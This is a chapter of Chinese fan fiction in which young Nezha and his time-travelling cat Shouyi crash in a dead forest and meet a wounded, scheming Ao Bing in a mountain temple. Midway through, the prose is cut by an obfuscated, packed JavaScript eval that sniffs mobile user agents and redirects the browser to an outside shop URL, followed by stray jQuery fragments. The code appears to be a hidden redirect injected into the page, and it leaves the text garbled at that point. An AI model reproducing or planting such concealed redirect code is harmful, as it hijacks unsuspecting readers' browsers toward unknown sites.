此事不容他细想,忽然变故突生,哪吒不知是得意忘形还是学艺不精,竟然挟着猫自高空猛坠了下去。
速度太快,他甚至还没有反应过来,哪吒脚下的风火轮就已经失了控制,一人一猫砰得一声砸进了脚下的那片树林中。
猫还懵着。
哪吒把他护得很好,坠落时把守一紧紧抱进了怀中,耳边的呼吸骤停一瞬,随即便是猛烈地咳呛声。
守一无心怪他,担忧之心占据上风,看这半大的少年面色苍白下来。他刨了刨哪吒,皱着眉关心地叫他几声。
“我……我没事。”哪吒又咳了几声,“情况还好。”掉下来的位置是树林上,山野之间,树冠茂密,虽然很是狼狈地掉了下来,却被勉强拖住了,减去了部分下坠的伤害。哪吒近两年的修炼也让身体淬炼得更坚韧了,这样的程度,只让他觉得后背被人猛锤了一把。
他缓过来后,又费了一番功夫把他们从这横插杂乱树冠解救出来,踩到坚实的地面,守一这颗心才平缓了些,并发誓自己此生再也不会跟着哪吒高空飞行了。
一朝被蛇咬,十年怕井绳,更何况他一只猫,弱小的心灵已经惨遭三次毒害,再来一次,便可原地灰飞烟灭了。
哪吒也很是抱歉,守一已经在他地上炸成了一只尖锐的毛球,看得出来十分应激。他想要安抚地去顺毛,守一就呲牙哈他,不给碰。
“我错了。”哪吒老实道歉,“我也不知道为什么风火轮就失控了,不是故意的。”
肯定也不能是故意的。守一想,摔得最狠的还是哪吒本人,他也不能自己都坑吧?想到这,守一收了气,扭着脑袋来回看了看,只是荒林一处,看哪像哪,实在瞧不出个名堂。
哪吒还在一旁驯服突然出岔子的风火轮表情却越来越凝重,最后只能叹气,对守一说:“小乌云,有个不好的消息。”
“风火轮失灵了。”哪吒拨弄着一丝灵气也没有的风火轮,很苦恼,“我们大概,只能走出去了。”
“?”守一大惊失色,十分不安,怎么还能这样!
当然,即便是走路,也不会轮到守一,哪吒任劳任怨地担任起坐骑的身份,肩膀上扛着猫开始找路。
守一十分怀疑,这傻孩子连路都找不到。
哪吒大概也是这样想的,思索片刻便唤出混天绫,大概是想让他去前面探探路。只是混天绫软软瘫在哪吒掌心,就像一条最普通不过的红绸。
哪吒表情凝重了些,终于意识到情况并不是他想象的那么简单了。
并非是他学艺不精才从高处摔下来,而脚下这块地,竟是一片死地,连半分灵气也没有。
可既然是灵气也不生的死地,又为何植被繁茂,郁郁葱葱?
带着疑惑,哪吒与守一穿过一片又一片茂林,守一几乎要迷了眼,只能靠微弱的气味辨别着方向,他们的确是在往笔直的方向而去。
很快,眼前出现了一条小小的狭道,虽然两侧草木丛深,但那的确是由人踩踏出来的小径,还未被这深林完全吞没。
一人一猫顺着小道而下,都想着顺着此径,大概是能遇见人烟,届时就能问路出这片死地。
又走过来一刻钟,眼前突然豁然开朗,明亮起来,更令人惊喜的是,那平地中央修着一座气度不凡的庙,门前香火不断。
不知为何,守一有点花眼。
哪吒面露喜色,跨步上前,还是颇有礼节地先扣了扣门:“请问庙中有人否?”
静候一会,无人应答,哪吒便再扣一次,依旧是没有回应。哪吒等了一会儿,抱拳鞠了一躬,说声失礼了,便推门而入。
光线刹时闯入阴暗的庙中,空中浮动的细小灰尘激飞起来,清晰得肉眼可见。
同时一股刺鼻的腥味直冲脑门,守一嗅觉敏锐,被刺激得后背毛炸开,应激地把脑袋避到哪吒头后,很小心。
哪吒单手把肩上的猫抱进怀里,能隔绝更多气味。他谨慎地走进去,大门正对一尊金光熠熠的神像,是只看不出品种的神兽,三头四足,威风凛凛。
只是哪吒没有关注,他沿着那股腥味向前探去,绕到神像后,果真那里躺着一个神志不清的人。
浓厚的血腥味正是从此人身上传来,顿觉生命的气息也淡去了,要隐没了。
哪吒蹲下来,把守一放开,小心地把那瘫倒在地的人扶起来,将他靠在一旁墙上。
守一也忍着不适在这人来回身边走。
因为此人披着个麻袋大的披风,看不出性别,但看这脚掌大小,应该是个男的没跑。
他身上的血往下淌着,几乎要汇成小泊。哪吒寻到他的伤口,翻开衣物的手还是忍不住颤抖,这是他人生第一次遇见这样的场景,一个濒死的人,身边只有一只猫,只能按照本能去救他。
忽然间想起什么,哪吒拿出走前杨戬师兄给他的小玉瓶,这是仙丹,止血效果应该是是很不错的。他将仙丹拧成粉末,撒在那瘆人的伤口上,只求能赶紧愈合,别让这条生命在他眼前死去。
玉鼎真人是出了大手笔,几息之间那伤势便以肉眼可见的速度开始愈合,而伤患的呼吸也渐渐能听见了,流失的温度也开始慢慢寻回。
这一遭让初出茅庐的哪吒脱了力,一屁股坐了下来了。今天一天下来又折腾太久,实在没有多余的力气再继续去寻路了。
小乌云似乎看出他疲惫,跳上他的膝头,用头去蹭他的脸,安抚性地叫着,让哪吒好受了些。
他把小乌云搂紧,吐出一口浊气,缓缓地回了神。
仙丹奇效显灵很快,哪吒只觉一炷香的时间还没过去,就听身侧传来一阵挣扎的喘息声,他急忙看去,那人正在尽力地挪动着身子。
为阻止伤口开裂,哪吒将他拦住:“不可!你伤口才愈合,不要又挣破了。”
那人停顿一下,沙哑的声音响起:“……你是谁?”
哪吒紧抿着唇:“我只是路过这座庙,闻见血腥气,救了你罢。”
“我问的是名字。”那人说。
“名字不重要。”哪吒话头一转,“你还感觉失血吗?”
哪吒扶着他坐稳了,他摸索着伤口,笑声冷淡,还是道了谢:“托你的福,很好了。”
哪吒下意识觉得奇怪,却也只是拧着眉,没有言语。这人身上有种挥之不去的阴鸷之气,让天生感知力强的哪吒阴恻恻地发冷,潜意识让他抱着猫赶紧走人。
“自我介绍一下,我叫敖丙。”那人却又出言,“既然如此,小友可将姓名告知与我了?”
“......我叫哪吒。”这是出门在外的礼数,即便是不情愿,哪吒也还是报上大名了。
“啊......哪吒吗?”敖丙又笑,“真是久仰大名,没想到能在此处相见。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17969687|214262||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
这边两人还在进行言语上的交锋,守一这个从将来而来的猫却是一惊,他怎样想,都不会料到那个在哪吒七岁时被一乾坤圈敲死的东海三太子竟然在这个隐蔽的山庙中出现,与哪吒命运相撞。
哪吒的杀神之名,不就是从杀了这条龙开始吗?自此之后开始神挡杀神,佛挡杀佛的扭曲命运。
虽然他不知具体发生了什么,但是守一是绝对不允许哪吒在他眼前将这条龙杀掉!
他连忙刨着哪吒的腰窝,用嘴努子拱他,示意他赶紧走,治了人家就好事不留名呗,傻登登地把自己大名报出去干什么!
哪吒不明所以,以掌心抵住守一的嘴,见他依旧顽固,还被轻轻咬了一口,才意识到守一状态不对劲,处于一种很紧绷的状态。他连声哄着,谁知敖丙又开了口:“哪吒小友...这是随身带了只猫儿?”
哪吒怔了一下,又才嗯了一声:“他叫小乌云。”
这没心眼的孩子!守一一爪拍上他的额头,把自己名字暴露了还不成,还要我的也一齐泄露出去才满意。他气鼓鼓地从哪吒身边跳开,自个儿冲了出去,他还不信了,以往只要他跑走了,哪吒总是会追上来的。
只是这次,哪吒没有跟上来。
守一刚冲出去几步,背后那条心黑乎乎的龙就开始惊天动地得咳嗽起来,似乎不把肺咳出来就不罢休。哪吒一时间所有注意力都放在这人身上,急得又凑近了些,问:“你怎么了?是伤到内脏吗?”
“!!”守一脚步刹住,回头看,这臭敖丙已经半靠在哪吒身上,他年纪要比哪吒大很多,也不嫌这个姿势别扭,帽檐下露出半张苍白柔软的脸,虚弱地说:“...没事,咳疾犯了。”
守一又气鼓鼓地回了哪吒身边,试图把哪吒往旁边拽开,至于这个龙?随便他躺哪。
哪吒却很是不解地抽回了衣袖:“小乌云,你今天是怎么了?”
欲救哪吒于水火的守一反被质疑,一双猫眼瞪得溜圆,我们管他干什么?死在这又管我们什么事?你不要发大善心了好不好!
这时,守一终于缓缓怀念起那个冷酷无情的杀神哪吒了,如果现在的是那个哪吒的话...呃,大概也不是什么好事。
守一这边还郁闷着,敖丙那边又在作妖:“猫儿耐不住寂寞,想找你玩,是很正常的。”
“?”守一觉得莫名其妙。
哪吒就蹙眉,好声好气与他说:“小乌云,你等等,这位哥哥身受重伤,需要我陪着些。”
妈呀,这龙指不定就坑你这笨孩子。守一气得张牙舞爪,都听龙族愈合能力极强,又还吃了你的仙丹,怎么可能还这么病歪歪靠着你。
心眼子比一箩筐的藕片都多,等着把你骗进去呢。
守一终于有点后悔自己没有好好学习如何口吐人言了。
看似是两人一猫,实则蒙在鼓中的只有哪吒一人,一猫一龙都在暗中对峙着。
守一能看见万物生灵上的气,而眼前这只龙,头顶只有一层薄薄的气,色泽黑沉,瞧着命数也不长。这让守一更着急了,生怕这跟命线是在哪吒跟前断掉的。
若是无故断去,岂不是又要将此事算在哪吒这冤大头身上,然后一步一步,又混成未来那个杀人不眨眼的冷面杀神了?那他岂不是白干了!
守一急得来回转圈,忽而看见那供起的神像,心生一计。